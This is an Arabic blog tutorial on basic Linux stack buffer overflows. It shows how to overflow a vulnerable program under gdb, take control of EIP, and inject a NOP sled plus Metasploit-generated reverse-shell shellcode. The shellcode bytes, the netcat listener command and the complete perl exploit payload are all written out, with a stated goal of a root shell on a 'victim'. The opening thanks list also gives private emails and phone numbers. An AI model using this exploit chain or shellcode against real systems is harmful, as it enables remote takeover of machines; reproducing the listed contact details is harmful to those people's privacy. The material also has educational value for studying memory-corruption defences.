أساسيات ثغرات الفيض Basic Stack Overflow في أنظمة التشغيل Unix & Linux

عام 0 geek4arab
Spread the love

بسم الله الرحمن الرحيم

جميع الحقوق محفوظة لدى القرصان الرقمي
piRAte_DIgitAL||hotmail.c0m
يرجى ذكر المصدر عند نقل االمقال او اخذ جزء منه
(كل كلمة ومثال في هذا المقال كتب عن جهد شخصي فاتمنى تقدير هذا الجهد وعدم سرقت هذا الجهد)
شكر خاص:

SoSo_Hack {
# Email : sofiane2005@maktoob.com
# mobile : 0021377997885
}
feujitif {
# Email : feujitif2@hotmail.com
# Mobile : 0021372301065
}
Diablo_Digital {
# Email : pirate_bouira@hotmail.com
# Mobile : 0021379680032
}
Sameh {
# Email: Sameh_mirc@hotmail.com
}

ملاحظة مقدمة المقال مقتبسة من كتاب سلسلة اكتشاف ثغرات الانظمة للكاتب جاز
-شكر خاص:
تحية خالصة لامي وابي واخوتي
تحية حارة الى كل من احب والى كل من يعرفني
تحية حارة الى منتدى ليرز الذي قبل ان اكون بين احظانه كما لا انسى موقع الفريق العربي للبرمجة واحي جميع اعظائه
بالاظافة الى موقع جاز الذي اتمنى له التطور والابداع كما عودنا دائما

المقدمة:

– اذا كنت مهتم بمجال امن المعلومات والانظمة فانصحك ان توفر على نفسك الجهد في البحث عن المعلومة
لان هذه السلسلة من المواضيع ستجعلك تطبق وترى وتجاوب على هذه الاسئلة :
* كيف تستطيع الفيروسات الوصول الى ملايين الاجهزة واختراقها دون اذن احد؟
* كيف يتم اختراق الاجهزة بمجرد الدخول لصفحة موقع او فتح رسالة الكترونية؟
* كيف يتم اختراق الاجهزة فقط بمعرفة رقم IP للتحكم والسيطرة على النظام!
* كيف يتم اختراق المواقع وتغيير محتواها؟!
– كل هاذا يحدث من خلال ثغرات الانظمة لتستطيع الوصول الى اي مكان في نظام التشغيل ولكن الموضوع
ليس بهذه البساطة!
– لكي تكون قادر على اكتشاف او استغلال ثغرة يجب ان تكون مطلع على عدة مجالات اهمها:
* خبرة في لغة الاسمبلي ومراقبة البرامج {مجال اكتشاف الثغرات}
* خبرة في لغة ال ++C,C وكتابة البرامج {لكي تستطيع استغلال الثغرات}
* فهم طريقة عمل انظمة التشغيل ومما تتكون {لتحديد مكان الثغرة}
* خبرة ولو بسيطة في مجال الشبكات {لانها الطريق للوصول الى الثغرة}
* خلفية بسيطة في تصميم المواقع ولغات البرمجة {PHP,CGI,JAVA,ASP….}
– البداية في اكتشاف واستغلال الثغرات :
ـ لوسالت … هل يمكن التغيير في ملف تنفيذي وطريقة عمله؟بالتاكيد ستجد الاجابة نعم والامثلة على ذلك البرمجة العكسية والكراك {ملف تنفيذي يستخدم لكسر حماية البرنامج}
ـ والان لوسالت هذا السؤال؟!
هل يمكن تغيير في طريقة عمل ملف تنفيذي دون التغيير في كود الملف؟؟؟؟؟؟؟؟؟؟!!!!
انا متاكد ان يكون جواب كل العقلاء والخبراء والمبرمجون هو لا والف لا {يعني ماتدخل العقل}
ولكن ظهر لنا مجنون وقال ممكن ليش لا,وبدا يبحث عن طريقة,هل تصدقون انه وجدها ولكن بشرط وهو حدوث خطاء…
اهم شيء تعرفه في هذه المرحلة هو القانون التالي:
يمكن التغيير في طريقة عمل ملف تنفيذي دون التغيير في الكود بشرط حدوث خطاء
ـ اريد ان اسال عندما نستخدم برنامج ما ويحدث خطاء اين ينتقل التنفيذ؟!
هل يخرج البرنامج!ماذا لواستطعنا التحكم في مجرى التنفيذ ووجهناه لنقطة معينة,هل المطلوب التغيير في كود البرنامج…
سوف نناقش كل هذه التساؤلات وتغطيتها ان شاء الله في هذه المقالة المتواضعة .

العرض:

الحين سندخل مباشرة في مثال تطبيقي نعتمد فيه على ثغرات الفيض في المكدس او الكومة “Basic Stack Overflow”
لينتج لنا صدفة او شيل عكسي بيننا وبين الضحية
أولا اليكم كود برنامجنا الضعيف
* تنبيه: نصف برنامج ما البضعف بسسب احتوائه على ثغرة او خطأ برمجي يمكننا منالسيطرة على النظام ولانعني بها الضعف في كفائة التشغيل لذا
ان وجد هذا المصطلح فنقصد به الضعف البرمجي

7

ان وظيفة هذا البرنامج هو استقبال عدد معين من البيانات من المستخدم وتخزينها او تخصيص لها جزء من الذاكرة ويتم تخزين تلك البيانات في قسم من الذاكرة يسمى
او يرمز له بال ‘buffer’,
وكما نلاحظ من الكود السابق انه تم تخصيص له حجم قدره 1024 بايت اي يمكن للمستخدم تخزين بيانات لا تتعدى ال الحجم السابق الأن ماذا لو ارسل المستخدم
بيانات قدرها 1040 بايت طبعا سوف يتم تخزين تلك البيانات في قسم البوفر’buffer’ ونحن نعرف انه يستطيع تخزين بيانات لا تتجاوز
ال 1024 بايت الحين شو لي راح يحدث لبرنامجنا ..طبعا راح يحدث خطاء للبرنامج او البيانات الزائدة سوف تحدث فيض في المكدس والأن كل
شيء تمام ولكن ماذا عن البيانات الفائضة اين تذهب او اين تخزن؟ الأن عندما يحدث فيض فالبيانات الزائدة سوف تكتب في اجزاء الذاكرة وهو ما يسمى بال” overflowwed”
الأن دعنا نقوم بترجمة برنامجنا السابق وسوف نناقش كل شيء بالتفصيل

gcc -o vuln-prog vuln-prog.c

والان لنجاح الاستغلال نحتاج الى تعطيل ال “the linux VA patch ” كالتالي

الأن سوف نستخدم أداة مهمة في تنقيح البرامج وهي الاداة DBG وسوف نستعملها لتنقيح برنامجنا
السابق ومراقبة المعالج وحالات السجلات عند ارسال بيانات اكبر من 1024 بايت

طريقة الاستخدام gdb ./vuln-prog

ادخال 1040 حرف الى البرنامج من خلال الامر run `perl -e ‘print “A”x1040’`

::__IHACKLOG_REMOTE_IMAGE_AUTODOWN_BLOCK__::1

الآن كما ترى جهزنا بيانات بحجم 1040بايت تحمل الرمز A
القيمة 0x41 تعني القيمة A في النظام السداسي عشر
اوكي الحين دعونا نلقي نظرة على اجزاء الذاكرة واحوال السجلات من خلال الامر  i r لبرنامج الاختبار gdb

 

هاذا الجزء جد مهم لنلقي نظرة علية

طبعا السجل EIP هو من مسجلات دليلية كسجلات {EBP,ESP,ESI,EDI}وهي تعتبر
دليل الاقسام مثلا سجل EIP هو دليل لقسم الكود اي ان رقم EIP = السطر الذي ينفذ من قسم الكود
الان لو استطعنا تغيير هذا العنوان الى عنوان كود خاص بنا مقيم في الذاكرة يسمح لنا بالسيطرة على النظام!
الحين نقول اننا كتبنا سجل EPI بالقيمة 0x41414141 OR AAAA لكن هذا العنوان
لا يحتوى على اي رموز كما أن العنوان غير صالح او غير موجود في الذاكرة لذا لا يمكنه الاشارة الى اي منطقة في الذاكرة!
لذا يتوجب علينا ان نشير الى مكان او عنوان قطعتنا من الرموز التى يجب تنفيذها …!
الان لتنفيذ قطعة خاصة بنا من الرموز سوف نستعمل مصطلح يسمى بالشيل كود “Shellcode”
طبعا قبل ان نتطرق الى موضوع الشيل كود يجب ان نقول شيء واحد او يجب التركيز على شيء مهم وهو انه عندما
حدث فيظ في الذاكرة تمت كتابة قيمة السجل EIP بقيمة تنتمي الى البيانات المرسلة الى البرنامج عن طريق المستخدم وهنا
يكمن الخطر اذ اننا اصبحنا قادرين على التحكم بعنوان العودة للبرنامج عند حدوث خطاء ما في المعالجة,الان ماذا لو قمنا بتوجيه
هذا العنوان الى عنوان يحمل قطعة كود تحتوى على شيل كودلبرنامج تنصت او فايروس موجود في المكدس شو يصير,طبعا لي راح
يصير هو تنفيذ الكود الموجود في ذلك العنوان الان بدأنا نقترب الى قلب الموضوع وهو التحكم بعنوان العودة للنظام في تحقيق اهدافنا طيب
الان شو نحتاج لنكمل باقي الموضوع والحين سوف نعود الى اخركلمة ذكرناها سابقا وهي الشيل كود طبعا الشيل كود هو قطعة برنامج او كود
لبرنامج ما مكتوب عن طريق لغة الالة سواء عن طريق النظام الثنائي او الثماني او سداسى عشر والمشهور الان هو النظام الاخير او السداسي عشر
لصغر حجم بيانات الكود مثلا لو كتبنا كود عن طريق نظام السداسي عشر وكان حجمه مثلا 65 بايت سوف يصبح 120بايت مثلا
على النظام الثماني و950 بايت في النظام الثنائي طيب القيم غير حقيقية بس لازم تأخذ الفكرة و لا اكثر وهي ان كتابة الشيل عن
طريق هذا النظام يكون اقلا حجما واقل تعقيدا في نفس الوقت.
طيب هناك العديد يستغربون او يتساءلون لماذا يكون الشيل كود مكتوب بلغة الالة في حين ان كتابة اي كود خاص بنا عن طريق
لغات اخرى كالاسمبلى او السي ارحم من سابقتها بكثير وهنا اجاوب كل من مر عليه هاذا السؤال وهو عند حدوث اي خطاء ويأتي دور
الكود ليتم تنفيذه من طرف المعالج فلن ينجح التفيذ لان المعالج لايفهم تلك الاوامر ولتنفيذها نلجئ الى مترجمات خاصة كل مترجم
خاص بترجمة لغة معينة اما لغة الالة فلا يحتاج المعالج الى مترجم فهو يفهمها وقادر على تنفيذها مباشرة دون تدخل اى مصدر خارجي
الان يبدو اننا انهينا من هذا الموضوع المتشعب بس انا اسمع العديد منكم يقولون كيف نصمم هذا الشيل ونحن لا نفقه شيئا حول لغة الالة
طبعا كما قلت الموضوع طويل ومتشعب ولابد له من كتاب او مقالة خاصة به تتناول جميع طرق كتابة الشيل على
مختلف الانظمة والمعالجات ان شاء الله بس اعلم اخي القارئ ان الشيل كود يتم برمجته بأدوات مساعدة كالمترجمات نفسها ا
قصد انه لا يتم كتابة الشيل عن طريق لغة الة مباشرة بل يتم برمجتها عن طريق الاسمبلي وبوجود ادوات مساعدة
سو نتمكن من تحويلها الى لغة الالة وطبعا لازم تكون خبير اسمبلي كما ان كل شيل يصمم يتم نشر مصدر
الشيل المكتوب بالاسمبلي وهاذا معروف لدى جميع مواقع السيكوريتي كال Metasploit and milworm.
اه يبدوا اننا نسينا موضوعنا وخرجنا عنه قليلا ولاكن لابأس فالمعلومات التى قدمتها سوف نصل اليها آجلا ام عاجلا في مقالات قادمة ان شاء الله ….
و ألان اين وصلنا,اه كما تعرفون نحن نحتاج الى قطعة شيل كود خاصة بنا بس كما تعرفون نحن الحين غير قادرين
على كتابة شيل الخاص بنا لذا سوف نستعين باحدى خدمات ال Metasploit من اجل كتابة شيل كود عكسي
يقوم بالاتصال بنا عن طريق منفذ تنصت نحدده بانفسنا,قبل المتابعة سوف نقوم بفتح منفذ تنصت بالجهاز من اجل ان يتصل بنا شيل كود
الخاص بنا ليفتح لنا صدفة او شيل بيننا وبين جهاز الضحية بصلاحيات الروت عن طريق أداة النات كات المشهورة

وطريقة الاستخدام nc -l -p 1986 -vv

الان أداة النات كات تنصت على منفذ 1986 الذي اخترناه
الحين نحتاج الى IP الجهاز الخاص بنا عن طريق الامر التالى : ifconfig | grep inet

والان كما تلاحظون رقم IP جهاز مثلا هو 10.0.0.100
الحين كل شيء تمام وبقي لنا شيء واحد وهو تصميم الشيل كود , قبل الذهاب الى الشيل كود يجب ان نتحقق من

ان منفذ الانصات مفتوح عن طريق الامر التالي : netstat -an |grep 1986

والان كل شيء تمام المنفذ جاهز لاستقبال اي بيانات مرسلى للجهاز,
الحين توجه الى هاذا العنوان من اجل تصميم شيل كود

 Lets browse to:

http://metasploit.com:55555/PAYLOADS?MODE=SELECT&MODULE=linux_ia32_reverse

to generate our shellcode..

Fill in the form:

LHOST Required ADDR = 10.0.0.100
LPORT Required PORT = 1986

and click Generate Payload..

الان عندما تدخل الوصلة قم بملئ عنوان الايبي والبورت في الفراغات المناسبة كما في الكود السابق
وضغط على مفتاح تخمين لنتحصل على هاذا الشيل

which generates us the following:

/* linux_ia32_reverse – LHOST=10.0.0.100 LPORT=1986 Size=96 Encoder=PexFnstenvSub http://metasploit.com */

“\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e”
“\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c”
“\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d”
“\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6”
“\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e”
“\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16”;

as you can see our shellcode is 96 bytes large.

والان هذا الشيل سوف يقوم بالاتصال بهاذا الاي بي 10.0.0.100 على البورت 1986 حيث النات كات
تستمع اليه ويقوم بتزويدنا بالشيل عكسي او صدفة بيننا وبين جهاز الضحية
والان لايجاد مكان الشيل كود في الذاكرة سوف نسبقه بجزء من البيتات التى لاتؤثر على
عمل الكود او لا تغير من خصائصه وبعبارة اخرى يتم تجاهل هذه البيانات من طرف المعالج اثناء تنفيذ الكود ويرمز
لها بال NOP OR 0x90 لذا نضع مجموعة من ال NPO قبل الشيل كود وبعد شيل نحدد عنوان EIP لتكون حمولتنا الكلية بهاذا الشكل :

طبعا هذا المظهر العام للحمولة المرسلة التى هي مقسمة حسب الشكل الى اربع اقسام على الترتيب
الاولى نعني بها البيانات الضائعة او المهملة ولا نحتاجها ونسنتخدما لاحداث فيض وتملك القيمة A Or 0x41
اما القسم الثاني يحتوى على بيانات ال NOP التى تحدثنا عنها سابقا وسوف نتحدث عن فائدتها بعد قليل وكما تلاحظ ياتي القسم
الثالث والذي يحمل لنا بيانات الشيل كود الخاصة بنا اما القسم الاخير فهو مكون من اربع خانات او اربع بيتات ونخصصها لسجل EIP من اجل التحكم بعنوان العودة بسهولة
الحين نحتاج الى حساب حجم البيانات المرسلة لكل قسم
طيب نحن نعلم اننا استعملنا 1040بايت لطفح EIP مع عنوان العودة 0x41414141
اذن السجل EIP يملك اربع بيتات لنتحصل على التالي : 1040 – 4 = 1036
ونحتاج الى 96 بايت من البيانات المخصصة لشيل كود لنتحصل على : 1036 – 96 = 940
ونحن يمكننا ان نستعمل 940 بايت او البيتات الباقية لبيانات ال NOP وبيانات القمامة ,
سوف نخصص حجم مقبول لبيانات NOP بحجم 340 بايت لتنحصل على :940 – 340 = 600
والان تبقى 600 بايت من الكود نخصصها لبيانات القمامة .
لذا يجب ان يكون شكل حمولتنا على الصورة التالية:

لتصبح الحمولة المرسلة كالتالي

بهذه الحمولة سوف نكتب على سجل EIP بهذه القيمة 0x42424242 OR BBBB
الحين سوف نقوم بارسال هذه الحمولة من اجل تنقيح برنامجنا

لنتحصل على الشكل التالي

لان كما ترى اصبح سجل EIP يحمل القيمة 0x42424242 OR BBBB وهي جزء من حمولتنا,ولان نحتاج لاشارة سجل EIP
الى حمولة ال Nopsled او NOP بدلا من القيمة 0x42424242
الحين سوف نقوم بتحليل بيانات ذاكرتنا لنبحث عن مكان ال nopsled او قيم NOP بهذا الشكل: x/2000xb $esp

قم بالضغط حوالى مرتين حتى تصل الى قيم مشابهة مع الصورة

الان اضعط حوالى مرة واحدة او مرتين حتى تصل الى بيانات ال NOP

بداية الشيل كود

هل فهمت الحين كيف نقوم بتعين مكان بياناتنا على الذاكرة وتحديد عناوين تواجدها
الان نحن نعرف ان الشيل كود يبدا بهاذي القيمة \x31
كما اننا نحتاج لكتابة سجل EIP بقيمة تشير الى مكان ما في مجموعتنا من اوامر ال NOP
طبعا سوف يتم تنفيذ اوامر ال NOP الى ان يصل الى مكان الشيل كود وعندما يتم تنفيذ الشيل كود سوف يجلب لنا صدفة او شيل عكسي عن طريق
البورت 1986 ونقصد بشيل عكسي هو ان جهاز الضحية هو الذي يتصل بنا ولسنا نحن وهذا لتخطي مشاكل الفايرول, الحين قم باختيار عنوان
ينتمى الى بيانات ال NOP ولنختر مثلا القيمة 0xbffff638
طبعا تم تعيين العنوان عشوائيا وتستطيع اختيار اي عنوان تشاء بشرط يجب ان تكون تنتمي الى مجموعة بيانات ال NOP’s

طبعا العناوين المشار اليها سوف نكتبها بشكل العكسيى لتصبح

ولا تنسى ان تظعها في حمولتنا على شكل العكسي ايظا ليصبح شكل الحمولة كالتالي

والان قم بارفاق الحمولة في ادات DBG وقم بتشغيل البرنامج كالتالي

run `perl -e ‘print “A”x600,”\x90″x340,”\x31\xc9\x83\xe9
\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb
\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c
\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69
\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70
\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42
\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45
\xd7\xf1\x6b\x1d\x93\x90\xdb\x16”,”\x38\xf6\xff\xbf”‘`

والان سوف تسالك الادات بالموافقة على اعادة تنقيح البرنامج من جديد قم بالموافقة ليتم حدوث
الفيض ويتم تنفيذ العنوان الذي قمنا باختياره الذي ينتمي الى بيانات ال NOPويتم متابعة التنفيذ الا ان يتم
الوصول الى بيانات الشيل كود
الحين دعنا نلقي نظرة على ادات النات كات

كما تلاحظ لقد حدث فيظ وتم ربط الجهاز عن طريق صدفة او شيل عكسي بجهاز الضحية
وتستطيع من خلاله التحكم والسيطرة على النظام بالاظافة الى صلاحية الروت على الجهاز

ولان شارفنا على نهاية المقال واتمنى على انه نال اعجابكم كما ارجوا اني وفقت في اختيار العبارات المصطلحات
السهلة والقريبة حرصا على تبسيط المقال من حيث التعقيد ووصول المعلومة سالمة الى القارئ
ونرحب بانتقادات القرائ وملاحظاتهم من حيث التنسيق والتغطية
وان وجد او لوحظة اي خطاء يرجى الاتصال بي من اجل التعديل وان شاء الله سوف تصدر طبعة ثانية راح يتم
تحسين كل العيوب والاخطاء وسوف تصدر بصيغة PDF ان شاء الله
لا اطيل عليكم وسوف اترككم برعاية الله وحفظه الا ان يجمعنا مرة اخرى في مقالة جديدة
مع تحيات القرصان الرقمي

الكاتب geek4arab

geek4arab

مواضيع متعلقة

التعليقات مغلقة